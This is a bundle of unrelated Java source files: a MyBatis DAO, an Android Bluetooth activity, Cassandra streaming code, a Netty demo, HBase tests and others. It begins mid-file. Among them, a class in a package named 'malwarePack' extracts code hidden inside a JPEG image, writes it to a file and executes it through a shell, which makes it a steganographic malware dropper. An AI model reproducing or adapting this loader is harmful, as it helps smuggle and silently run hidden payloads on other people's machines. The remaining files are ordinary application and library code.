public Instant getInstantNow() {
return Instant.now();
}
}
|
package com.xc.gulimall.product.dao;
import com.xc.gulimall.product.entity.SpuCommentEntity;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
/**
* 商品评价
*
* @author xuchong
* @email 416931874@qq.com
* @date 2020-08-07 00:07:36
*/
@Mapper
public interface SpuCommentDao extends BaseMapper<SpuCommentEntity> {
}
|
package org.odk.kitaaman.android.openrosa;
import android.webkit.MimeTypeMap;
import androidx.annotation.NonNull;
import org.odk.kitaaman.android.utilities.FileUtils;
/**
* This covers types not included in Android's MimeTypeMap
* Reference https://android.googlesource.com/platform/frameworks/base/+/61ae88e/core/java/android/webkit/MimeTypeMap.java
*/
public class CollectThenSystemContentTypeMapper implements OpenRosaHttpInterface.FileToContentTypeMapper {
private final MimeTypeMap androidTypeMap;
public CollectThenSystemContentTypeMapper(MimeTypeMap androidTypeMap) {
this.androidTypeMap = androidTypeMap;
}
@NonNull
@Override
public String map(String fileName) {
String extension = FileUtils.getFileExtension(fileName);
String collectContentType = CollectContentTypeMappings.of(extension);
String androidContentType = androidTypeMap.getMimeTypeFromExtension(extension);
if (collectContentType != null) {
return collectContentType;
} else if (androidContentType != null) {
return androidContentType;
} else {
return "application/octet-stream";
}
}
private enum CollectContentTypeMappings {
AMR("amr", "audio/amr"),
OGA("oga", "audio/ogg"),
OGV("ogv", "video/ogg"),
WEBM("webm", "video/webm");
private String extension;
private String contentType;
CollectContentTypeMappings(String extension, String contentType) {
this.extension = extension;
this.contentType = contentType;
}
public static String of(String extension) {
for (CollectContentTypeMappings m : CollectContentTypeMappings.values()) {
if (m.extension.equals(extension)) {
return m.contentType;
}
}
return null;
}
}
}
|
package com.johnmelodyme.bluetoothutilities.activities;
import android.app.job.JobScheduler;
import android.app.job.JobService;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothSocket;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.ListView;
import android.widget.SearchView;
import androidx.appcompat.app.AppCompatActivity;
import com.johnmelodyme.bluetoothutilities.Constant.Constant;
import com.johnmelodyme.bluetoothutilities.Constant.LogLevel;
import com.johnmelodyme.bluetoothutilities.R;
import com.johnmelodyme.bluetoothutilities.functions.Functions;
import com.johnmelodyme.bluetoothutilities.model.DiscoveredDevices;
import com.johnmelodyme.bluetoothutilities.user_interface.BluetoothCustomAdapter;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Set;
import java.util.UUID;
public class PairedDevices extends AppCompatActivity implements SearchView.OnQueryTextListener
{
public static final LogLevel LOG_LEVEL = LogLevel.DEBUG;
public static UUID BLUETOOTH_UUID;
public static BluetoothAdapter bluetoothAdapter;
public BluetoothCustomAdapter bluetoothCustomAdapter;
public BluetoothDevice bluetoothDevice;
public ArrayList<DiscoveredDevices> paired_devices_list = new ArrayList<>();
public ArrayList<DiscoveredDevices> devices_list = new ArrayList<>();
public Set<BluetoothDevice> paired_devices;
public ListView listView;
public SearchView search;
/**
* @param bundle required for rendering user interface component
*/
public void render_user_interface(Bundle bundle)
{
Functions.log_output("{:ok, render_user_interface/1}", LOG_LEVEL);
listView = (ListView) findViewById(R.id.listview);
listView.setOnItemClickListener(on_item_clicked);
listView.setTextFilterEnabled(true);
search = (SearchView) findViewById(R.id.search);
search.setIconified(false);
search.setClickable(true);
search.clearFocus();
search.setOnQueryTextListener(this);
search.setOnCloseListener(() -> false);
search.setQueryHint(Constant.SEARCH_BAR);
}
private final OnItemClickListener on_item_clicked = new OnItemClickListener()
{
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id)
{
DiscoveredDevices discoveredDevices = devices_list.get(position);
Functions.log_output(discoveredDevices.getAddress(), LOG_LEVEL);
}
};
public void bluetooth_instance(Bundle bundle)
{
Functions.log_output("{:ok, init_bluetooth_instance/1}", LOG_LEVEL);
bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
BLUETOOTH_UUID = UUID.fromString(Constant.BLUETOOTH_SERIAL);
}
public void get_paired_devices()
{
paired_devices = bluetoothAdapter.getBondedDevices();
if (listView != null)
{
listView.clearChoices();
}
if (paired_devices != null)
{
Functions.log_output("{:ok, get_paired_devices/1}", LOG_LEVEL);
for (BluetoothDevice bluetoothDevice : paired_devices)
{
String uuid;
String name;
// Get Bluetooth UUID
if (bluetoothDevice.getUuids() == null)
{
uuid = "\t\"No UUID Found\"";
}
else
{
uuid = (Arrays.toString(bluetoothDevice.getUuids()).trim());
}
// Get Bluetooth device Name
if (bluetoothDevice.getName() == null)
{
name = " \"NAME NOT FOUND \" ";
}
else
{
name = bluetoothDevice.getName();
}
devices_list.add(
new DiscoveredDevices(
name,
bluetoothDevice.getAddress(),
bluetoothDevice.getBondState(),
bluetoothDevice.getType(),
bluetoothDevice.getUuids()
)
);
paired_devices_list.clear();
paired_devices_list.addAll(devices_list);
Functions.log_output(
"\n\n{:ok, get_paired_devices/1" + "\n" +
"\tBluetooth Name: " + name + "\n" +
"\tBluetooth Class: " + bluetoothDevice.getBluetoothClass() + "\n" +
"\tBluetooth Address: " + bluetoothDevice.getAddress() + "\n" +
"\tBluetooth Type: " + bluetoothDevice.getType() + "\n" +
"\tBluetooth Bond State: " + bluetoothDevice.getBondState() + "\n" +
"\tBluetooth UUID: \n" + uuid +
"\n" +
"}\n\n",
LOG_LEVEL
);
}
Functions.register_device(this, broadcastReceiver);
render_list(devices_list, this);
}
else
{
String msg = "No Paired Devices Found";
Functions.show_toast(msg, this);
Functions.log_output(msg, LOG_LEVEL);
}
}
/**
* @param device device needed
* @return RFCOMM
* @throws IOException null
*/
private BluetoothSocket create_bluetooth_socket(BluetoothDevice device) throws IOException
{
try
{
Method method = device.getClass().getMethod(
"createInsecureRfcommSocketToServiceRecord",
UUID.class
);
return (BluetoothSocket) method.invoke(device, BLUETOOTH_UUID);
}
catch (Exception e)
{
e.printStackTrace();
}
return device.createRfcommSocketToServiceRecord(BLUETOOTH_UUID);
}
private final BroadcastReceiver broadcastReceiver = new BroadcastReceiver()
{
/**
* This method is called when the BroadcastReceiver is receiving an Intent
* broadcast. During this time you can use the other methods on
* BroadcastReceiver to view/modify the current result values. This method
* is always called within the main thread of its process, unless you
* explicitly asked for it to be scheduled on a different thread using
* {@link Context registerReceiver(BroadcastReceiver,
* IntentFilter, String, Handler)}. When it runs on the main
* thread you should
* never perform long-running operations in it (there is a timeout of
* 10 seconds that the system allows before considering the receiver to
* be blocked and a candidate to be killed). You cannot launch a popup dialog
* in your implementation of onReceive().
*
* <p><b>If this BroadcastReceiver was launched through a <receiver> tag,
* then the object is no longer alive after returning from this
* function.</b> This means you should not perform any operations that
* return a result to you asynchronously. If you need to perform any follow up
* background work, schedule a {@link JobService} with
* {@link JobScheduler}.
* <p>
* If you wish to interact with a service that is already running and previously
* bound using {@link Context #bindService(Intent, ServiceConnection, int) bindService()},
* you can use {@link #peekService}.
*
* <p>The Intent filters used in {@link Context#registerReceiver}
* and in application manifests are <em>not</em> guaranteed to be exclusive. They
* are hints to the operating system about how to find suitable recipients. It is
* possible for senders to force delivery to specific recipients, bypassing filter
* resolution. For this reason, {@link #onReceive(Context, Intent) onReceive()}
* implementations should respond only to known actions, ignoring any unexpected
* Intents that they may receive.
*
* @param context The Context in which the receiver is running.
* @param intent The Intent being received.
*/
@Override
public void onReceive(Context context, Intent intent)
{
String action = intent.getAction();
if (BluetoothDevice.ACTION_FOUND.equals(action))
{
bluetoothDevice = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
}
}
};
public void render_list(ArrayList<DiscoveredDevices> discoveredDevices, Context context)
{
Functions.log_output("{:ok, render_list/1}", LOG_LEVEL);
bluetoothCustomAdapter = new BluetoothCustomAdapter(discoveredDevices, context);
listView.setAdapter(bluetoothCustomAdapter);
}
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_paired_devices);
// Set Action bar to Center aligned
Functions.render_action_bar(this);
// Render User Interface on
render_user_interface(savedInstanceState);
// Bluetooth Instance
bluetooth_instance(savedInstanceState);
// Render List
get_paired_devices();
}
/**
* Called when the user submits the query. This could be due to a key press on the
* keyboard or due to pressing a submit button.
* The listener can override the standard behavior by returning true
* to indicate that it has handled the submit request. Otherwise return false to
* let the SearchView handle the submission by launching any associated intent.
*
* @param query the query text that is to be submitted
* @return true if the query has been handled by the listener, false to let the
* SearchView perform the default action.
*/
@Override
public boolean onQueryTextSubmit(String query)
{
bluetoothCustomAdapter.getFilter().filter(query);
return true;
}
/**
* Called when the query text is changed by the user.
*
* @param newText the new content of the query text field.
* @return false if the SearchView should perform the default action of showing any
* suggestions if available, true if the action was handled by the listener.
*/
@Override
public boolean onQueryTextChange(String newText)
{
if (TextUtils.isEmpty(newText.toLowerCase()))
{
listView.clearTextFilter();
}
else
{
listView.setFilterText(newText);
}
return true;
}
/**
* Called when pointer capture is enabled or disabled for the current window.
*
* @param hasCapture True if the window has pointer capture.
*/
@Override
public void onPointerCaptureChanged(boolean hasCapture)
{
listView.clearTextFilter();
}
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.cassandra.streaming.compress;
import java.io.DataInputStream;
import java.io.IOException;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import com.google.common.base.Throwables;
import org.apache.cassandra.io.sstable.SSTableMultiWriter;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.cassandra.config.Schema;
import org.apache.cassandra.db.ColumnFamilyStore;
import org.apache.cassandra.db.Keyspace;
import org.apache.cassandra.io.compress.CompressionMetadata;
import org.apache.cassandra.streaming.ProgressInfo;
import org.apache.cassandra.streaming.StreamReader;
import org.apache.cassandra.streaming.StreamSession;
import org.apache.cassandra.streaming.messages.FileMessageHeader;
import org.apache.cassandra.utils.BytesReadTracker;
import org.apache.cassandra.utils.Pair;
/**
* StreamReader that reads from streamed compressed SSTable
*/
public class CompressedStreamReader extends StreamReader
{
private static final Logger logger = LoggerFactory.getLogger(CompressedStreamReader.class);
protected final CompressionInfo compressionInfo;
public CompressedStreamReader(FileMessageHeader header, StreamSession session)
{
super(header, session);
this.compressionInfo = header.compressionInfo;
}
/**
* @return SSTable transferred
* @throws java.io.IOException if reading the remote sstable fails. Will throw an RTE if local write fails.
*/
@Override
@SuppressWarnings("resource")
public SSTableMultiWriter read(ReadableByteChannel channel) throws IOException
{
logger.debug("reading file from {}, repairedAt = {}", session.peer, repairedAt);
long totalSize = totalSize();
Pair<String, String> kscf = Schema.instance.getCF(cfId);
if (kscf == null)
{
// schema was dropped during streaming
throw new IOException("CF " + cfId + " was dropped during streaming");
}
ColumnFamilyStore cfs = Keyspace.open(kscf.left).getColumnFamilyStore(kscf.right);
SSTableMultiWriter writer = createWriter(cfs, totalSize, repairedAt, format);
CompressedInputStream cis = new CompressedInputStream(Channels.newInputStream(channel), compressionInfo, inputVersion.compressedChecksumType());
BytesReadTracker in = new BytesReadTracker(new DataInputStream(cis));
StreamDeserializer deserializer = new StreamDeserializer(cfs.metadata, in, inputVersion, header.toHeader(cfs.metadata));
try
{
for (Pair<Long, Long> section : sections)
{
assert cis.getTotalCompressedBytesRead() <= totalSize;
int sectionLength = (int) (section.right - section.left);
// skip to beginning of section inside chunk
cis.position(section.left);
in.reset(0);
while (in.getBytesRead() < sectionLength)
{
writePartition(deserializer, writer, cfs);
// when compressed, report total bytes of compressed chunks read since remoteFile.size is the sum of chunks transferred
session.progress(desc, ProgressInfo.Direction.IN, cis.getTotalCompressedBytesRead(), totalSize);
}
}
return writer;
}
catch (Throwable e)
{
SSTableMultiWriter.abortOrDie(writer);
drain(cis, in.getBytesRead());
if (e instanceof IOException)
throw (IOException) e;
else
throw Throwables.propagate(e);
}
}
@Override
protected long totalSize()
{
long size = 0;
// calculate total length of transferring chunks
for (CompressionMetadata.Chunk chunk : compressionInfo.chunks)
size += chunk.length + 4; // 4 bytes for CRC
return size;
}
}
|
package malwarePack;
import java.io.*;
public class Unpaquer {
FileInputStream fileInput;
public Unpaquer(String imagen) throws IOException {
fileInput = new FileInputStream(imagen);
}
public String reader() throws IOException {
String s = "";
boolean fin = false;
int character = 0;
while(!fin) {
if(character == -1) {fin=true;break;};
character = fileInput.read();
s += (char) character;
}
fileInput.close();
return s;
}
private static String getCode(String s) {
int i = s.indexOf("_--------------------_") + 22;
String subString = s.substring(i, s.length());
return subString;
}
private static String pop(int cantidad, String s) {
String value = "";
for(int i=0;i<s.length()-cantidad;i++) {
value += Character.toString(s.charAt(i));
}
return value;
}
private String pop(String s) {
String value = "";
value = s.substring(0,s.lastIndexOf("ï¿¿")) + s.substring(s.lastIndexOf("ï¿¿")+3 , s.length() );
value = getCode(value);
value = pop(1, value);
return value;
}
private String get(String s, int index) {
String value = "";
for(int i=index+1;i<s.length();i++) {
value += Character.toString(s.charAt(i));
}
return value;
}
public static void main(String args[]) throws IOException, InterruptedException{
Unpaquer unpaquer = new Unpaquer("/home/angrymasther/Escritorio/imagen.jpg");
String s = unpaquer.reader();
String codigo = unpaquer.pop(s);
String extension = unpaquer.get(codigo, codigo.lastIndexOf("\n"));
String direccion = "/home/angrymasther/Escritorio/aa";
codigo = unpaquer.pop(extension.length(),codigo);
codigo = codigo.replaceAll("ï¿¿", "");
File file = new File(direccion + extension);
System.out.println(codigo);
FileWriter writer = new FileWriter(file);
writer.write(codigo);
writer.close();
String[] command = {"sh","-c","python "+file};
Process process = Runtime.getRuntime().exec(command);
process.waitFor();
}
}
|
package cn.jko.apis.visitor;
import com.github.javaparser.ast.type.Type;
import java.io.File;
import java.util.LinkedHashMap;
/**
* 将class 转化成 ClassModel 的参数
*
*
* @author slsm258@126.com create on 2018/10/29
*/
public class ClassTypeParseVisitorParam {
private boolean start;
private String projectSrcPath;
private File javaFile;
private LinkedHashMap<String,TypeArgumentInfo> genericMap = new LinkedHashMap<>();
private Type fieldFactType;
public File getJavaFile() {
return javaFile;
}
public ClassTypeParseVisitorParam setJavaFile(File javaFile) {
this.javaFile = javaFile;
return this;
}
public LinkedHashMap<String, TypeArgumentInfo> getGenericMap() {
return genericMap;
}
public ClassTypeParseVisitorParam setGenericMap(LinkedHashMap<String, TypeArgumentInfo> genericMap) {
this.genericMap = genericMap;
return this;
}
public Type getFieldFactType() {
Type t = fieldFactType;
fieldFactType = null;
return t;
}
public boolean isStart() {
if (start) {
start = false;
return true;
}
return start;
}
public ClassTypeParseVisitorParam setStart(boolean start) {
this.start = start;
return this;
}
public String getProjectSrcPath() {
return projectSrcPath;
}
public ClassTypeParseVisitorParam setProjectSrcPath(String projectSrcPath) {
this.projectSrcPath = projectSrcPath;
return this;
}
public ClassTypeParseVisitorParam getNewParam(LinkedHashMap<String,TypeArgumentInfo> genericMap) {
if (genericMap == null || genericMap.size() == 0) {
genericMap = new LinkedHashMap<>();
}
return copy().setGenericMap(genericMap);
}
public ClassTypeParseVisitorParam getNewParam(File javaFile) {
return copy().setJavaFile(javaFile);
}
public ClassTypeParseVisitorParam getNewParam(Type fieldFactType) {
return copy().setFieldFactType(fieldFactType);
}
private ClassTypeParseVisitorParam setFieldFactType(Type fieldFactType) {
this.fieldFactType = fieldFactType;
return this;
}
private ClassTypeParseVisitorParam copy() {
ClassTypeParseVisitorParam tmp = new ClassTypeParseVisitorParam();
tmp.setStart(isStart());
tmp.setProjectSrcPath(getProjectSrcPath());
tmp.fieldFactType = this.fieldFactType;
tmp.genericMap = this.genericMap;
tmp.javaFile = this.javaFile;
return tmp;
}
}
|
package org.fuck.netty;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.util.CharsetUtil;
import lombok.extern.slf4j.Slf4j;
import java.net.InetSocketAddress;
@Slf4j
public class PipelineExample {
public static void main(String[] args) {
NioEventLoopGroup loopGroup = new NioEventLoopGroup();
InetSocketAddress localAddress = new InetSocketAddress(8888);
try {
ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.group(loopGroup)
.channel(NioServerSocketChannel.class) // 指定所使用的 NIO 传输 Channel
.localAddress(localAddress)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) throws Exception {
ch.pipeline()
.addLast("in c1", new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
log.debug("in c1");
// 调用ctx.fireChannelRead(msg) 消息才会向下一个handler传递
super.channelRead(ctx, msg);
}
})
.addLast("in c2", new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
log.debug("in c2");
super.channelRead(ctx, msg);
}
})
.addLast("in c3", new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
log.debug("in c3");
// head c1 c2 c3 c4 c5 c6 tail
// inbound调用顺序是 c1 c2 c3,从head开始调用
// outbound调用顺序是 c6 c5 c4,从tail开始调用
// 只有write才会调用ChannelOutboundHandle
// channel.write从tail开始向前调用outbound
ctx.channel().writeAndFlush(Unpooled.copiedBuffer("hello netty", CharsetUtil.UTF_8));
// ctx.write是从当前handler开始向前调用outbound,c3前没有outbound
//ctx.writeAndFlush(Unpooled.copiedBuffer("hello netty", CharsetUtil.UTF_8));
}
})
.addLast("out c4", new ChannelOutboundHandlerAdapter() {
@Override
public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception {
log.debug("out c4");
super.write(ctx, msg, promise);
}
})
.addLast("out c5", new ChannelOutboundHandlerAdapter() {
@Override
public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception {
log.debug("out c5");
super.write(ctx, msg, promise);
}
})
.addLast("out c6", new ChannelOutboundHandlerAdapter() {
@Override
public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception {
log.debug("out c6");
super.write(ctx, msg, promise);
}
});
}
});
// 异步地绑定服务器; 调用 sync()方法阻塞 等待直到绑定完成
ChannelFuture channelFuture = bootstrap.bind().sync();
// 获取 Channel 的 CloseFuture,并且阻塞当前线 程直到它完成
// channelFuture.channel().closeFuture().sync(); // 异步转同步
channelFuture.channel().closeFuture().addListener(new ChannelFutureListener() {
@Override
public void operationComplete(ChannelFuture future) throws Exception {
// 使用channel().closeFuture().addListener时,不需要在finally里shutdown
log.debug("shutdownGracefullys");
loopGroup.shutdownGracefully();
}
}); // 异步等待执行结果
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭 EventLoopGroup, 释放所有的资源
// loopGroup.shutdownGracefully();
}
}
}
|
package com.example.travelplannerbackend.controller;
import com.example.travelplannerbackend.exception.CategoryNotExistException;
import com.example.travelplannerbackend.exception.CityNotExistException;
import com.example.travelplannerbackend.exception.PlaceNotExistException;
import com.example.travelplannerbackend.model.Place;
import com.example.travelplannerbackend.model.PlaceCategory;
import com.example.travelplannerbackend.service.CityService;
import com.example.travelplannerbackend.service.PlaceService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
public class CityController {
private CityService cityService;
@Autowired
public CityController(CityService cityService) {
this.cityService = cityService;
}
@GetMapping(value = "/cities/{name}")
public List<Place> getPlaceByCity(@PathVariable String name)
throws CityNotExistException {
return cityService.listByCity(name);
}
}
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.capdevon.engine;
import com.jme3.math.FastMath;
/**
*
*/
public class MathUtils {
public static int clamp(int value, int min, int max) {
if (value < min) return min;
if (value > max) return max;
return value;
}
public static long clamp(long value, long min, long max) {
if (value < min) return min;
if (value > max) return max;
return value;
}
public static float clamp(float value, float min, float max) {
if (value < min) return min;
if (value > max) return max;
return value;
}
public static double clamp(double value, double min, double max) {
if (value < min) return min;
if (value > max) return max;
return value;
}
/**
* Linearly interpolates between fromValue to toValue on progress position.
*
* @param fromValue
* @param toValue
* @param progress
* @return
*/
public static float lerp(float fromValue, float toValue, float progress) {
return fromValue + (toValue - fromValue) * progress;
}
/**
* Return a random float number between min [inclusive] and max [inclusive].
*
* @param min
* @param max
* @return
*/
public static float range(float min, float max) {
if (min >= max) {
throw new IllegalArgumentException("max must be greater than min");
}
return FastMath.nextRandomFloat() * (max - min) + min;
}
/**
* Returns true if a random value between 0 and 1 is less than the specified value.
* @param chance
* @return
*/
public static boolean randomBoolean(float chance) {
return FastMath.nextRandomFloat() < chance;
}
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hbase.client;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import java.io.IOException;
import org.apache.hadoop.hbase.HBaseTestingUtility;
import org.apache.hadoop.hbase.TableName;
import org.apache.hadoop.hbase.testclassification.ClientTests;
import org.apache.hadoop.hbase.testclassification.MediumTests;
import org.apache.hadoop.hbase.util.Bytes;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.experimental.categories.Category;
/**
* With filter we may stop at a middle of row and think that we still have more cells for the
* current row but actually all the remaining cells will be filtered out by the filter. So it will
* lead to a Result that mayHaveMoreCellsInRow is true but actually there are no cells for the same
* row. Here we want to test if our limited scan still works.
*/
@Category({ MediumTests.class, ClientTests.class })
public class TestLimitedScanWithFilter {
private static final HBaseTestingUtility UTIL = new HBaseTestingUtility();
private static final TableName TABLE_NAME = TableName.valueOf("TestRegionScanner");
private static final byte[] FAMILY = Bytes.toBytes("cf");
private static final byte[][] CQS =
{ Bytes.toBytes("cq1"), Bytes.toBytes("cq2"), Bytes.toBytes("cq3"), Bytes.toBytes("cq4") };
private static int ROW_COUNT = 10;
@BeforeClass
public static void setUp() throws Exception {
UTIL.startMiniCluster(1);
try (Table table = UTIL.createTable(TABLE_NAME, FAMILY)) {
for (int i = 0; i < ROW_COUNT; i++) {
Put put = new Put(Bytes.toBytes(i));
for (int j = 0; j < CQS.length; j++) {
put.addColumn(FAMILY, CQS[j], Bytes.toBytes((j + 1) * i));
}
table.put(put);
}
}
}
@AfterClass
public static void tearDown() throws Exception {
UTIL.shutdownMiniCluster();
}
@Test
public void testCompleteResult() throws IOException {
int limit = 5;
Scan scan =
new Scan().setFilter(new ColumnCountOnRowFilter(2)).setMaxResultSize(1).setLimit(limit);
try (Table table = UTIL.getConnection().getTable(TABLE_NAME);
ResultScanner scanner = table.getScanner(scan)) {
for (int i = 0; i < limit; i++) {
Result result = scanner.next();
assertEquals(i, Bytes.toInt(result.getRow()));
assertEquals(2, result.size());
assertFalse(result.mayHaveMoreCellsInRow());
assertEquals(i, Bytes.toInt(result.getValue(FAMILY, CQS[0])));
assertEquals(2 * i, Bytes.toInt(result.getValue(FAMILY, CQS[1])));
}
assertNull(scanner.next());
}
}
@Test
public void testAllowPartial() throws IOException {
int limit = 5;
Scan scan = new Scan().setFilter(new ColumnCountOnRowFilter(2)).setMaxResultSize(1)
.setAllowPartialResults(true).setLimit(limit);
try (Table table = UTIL.getConnection().getTable(TABLE_NAME);
ResultScanner scanner = table.getScanner(scan)) {
for (int i = 0; i < 2 * limit; i++) {
int key = i / 2;
Result result = scanner.next();
assertEquals(key, Bytes.toInt(result.getRow()));
assertEquals(1, result.size());
assertTrue(result.mayHaveMoreCellsInRow());
int cqIndex = i % 2;
assertEquals(key * (cqIndex + 1), Bytes.toInt(result.getValue(FAMILY, CQS[cqIndex])));
}
assertNull(scanner.next());
}
}
@Test
public void testBatchAllowPartial() throws IOException {
int limit = 5;
Scan scan = new Scan().setFilter(new ColumnCountOnRowFilter(3)).setBatch(2).setMaxResultSize(1)
.setAllowPartialResults(true).setLimit(limit);
try (Table table = UTIL.getConnection().getTable(TABLE_NAME);
ResultScanner scanner = table.getScanner(scan)) {
for (int i = 0; i < 3 * limit; i++) {
int key = i / 3;
Result result = scanner.next();
assertEquals(key, Bytes.toInt(result.getRow()));
assertEquals(1, result.size());
assertTrue(result.mayHaveMoreCellsInRow());
int cqIndex = i % 3;
assertEquals(key * (cqIndex + 1), Bytes.toInt(result.getValue(FAMILY, CQS[cqIndex])));
}
assertNull(scanner.next());
}
}
@Test
public void testBatch() throws IOException {
int limit = 5;
Scan scan = new Scan().setFilter(new ColumnCountOnRowFilter(2)).setBatch(2).setMaxResultSize(1)
.setLimit(limit);
try (Table table = UTIL.getConnection().getTable(TABLE_NAME);
ResultScanner scanner = table.getScanner(scan)) {
for (int i = 0; i < limit; i++) {
Result result = scanner.next();
assertEquals(i, Bytes.toInt(result.getRow()));
assertEquals(2, result.size());
assertTrue(result.mayHaveMoreCellsInRow());
assertEquals(i, Bytes.toInt(result.getValue(FAMILY, CQS[0])));
assertEquals(2 * i, Bytes.toInt(result.getValue(FAMILY, CQS[1])));
}
assertNull(scanner.next());
}
}
@Test
public void testBatchAndFilterDiffer() throws IOException {
int limit = 5;
Scan scan = new Scan().setFilter(new ColumnCountOnRowFilter(3)).setBatch(2).setMaxResultSize(1)
.setLimit(limit);
try (Table table = UTIL.getConnection().getTable(TABLE_NAME);
ResultScanner scanner = table.getScanner(scan)) {
for (int i = 0; i < limit; i++) {
Result result = scanner.next();
assertEquals(i, Bytes.toInt(result.getRow()));
assertEquals(2, result.size());
assertTrue(result.mayHaveMoreCellsInRow());
assertEquals(i, Bytes.toInt(result.getValue(FAMILY, CQS[0])));
assertEquals(2 * i, Bytes.toInt(result.getValue(FAMILY, CQS[1])));
result = scanner.next();
assertEquals(i, Bytes.toInt(result.getRow()));
assertEquals(1, result.size());
assertFalse(result.mayHaveMoreCellsInRow());
assertEquals(3 * i, Bytes.toInt(result.getValue(FAMILY, CQS[2])));
}
assertNull(scanner.next());
}
}
}
|
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.facebook.presto.accumulo.model;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonValue;
import com.google.common.io.ByteArrayDataOutput;
import com.google.common.io.ByteStreams;
import org.apache.accumulo.core.data.Range;
import java.io.DataInput;
import java.io.IOException;
public class WrappedRange
{
private final Range range;
public WrappedRange(Range range)
{
this.range = range;
}
public Range getRange()
{
return range;
}
@JsonValue
public byte[] toBytes()
throws IOException
{
ByteArrayDataOutput out = ByteStreams.newDataOutput();
range.write(out);
return out.toByteArray();
}
@JsonCreator
public static WrappedRange fromBytes(byte[] bytes)
throws IOException
{
DataInput in = ByteStreams.newDataInput(bytes);
Range range = new Range();
range.readFields(in);
return new WrappedRange(range);
}
}
|
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for
* license information.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
*/
package com.microsoft.azure.management.network.v2020_03_01.implementation;
import com.microsoft.azure.arm.collection.InnerSupportsGet;
import com.microsoft.azure.arm.collection.InnerSupportsDelete;
import com.microsoft.azure.arm.collection.InnerSupportsListing;
import retrofit2.Retrofit;
import com.google.common.reflect.TypeToken;
import com.microsoft.azure.AzureServiceFuture;
import com.microsoft.azure.CloudException;
import com.microsoft.azure.ListOperationCallback;
import com.microsoft.azure.management.network.v2020_03_01.TagsObject;
import com.microsoft.azure.Page;
import com.microsoft.azure.PagedList;
import com.microsoft.rest.ServiceCallback;
import com.microsoft.rest.ServiceFuture;
import com.microsoft.rest.ServiceResponse;
import com.microsoft.rest.Validator;
import java.io.IOException;
import java.util.List;
import java.util.Map;
import okhttp3.ResponseBody;
import retrofit2.http.Body;
import retrofit2.http.GET;
import retrofit2.http.Header;
import retrofit2.http.Headers;
import retrofit2.http.HTTP;
import retrofit2.http.PATCH;
import retrofit2.http.Path;
import retrofit2.http.PUT;
import retrofit2.http.Query;
import retrofit2.http.Url;
import retrofit2.Response;
import rx.functions.Func1;
import rx.Observable;
/**
* An instance of this class provides access to all the operations defined
* in VirtualWans.
*/
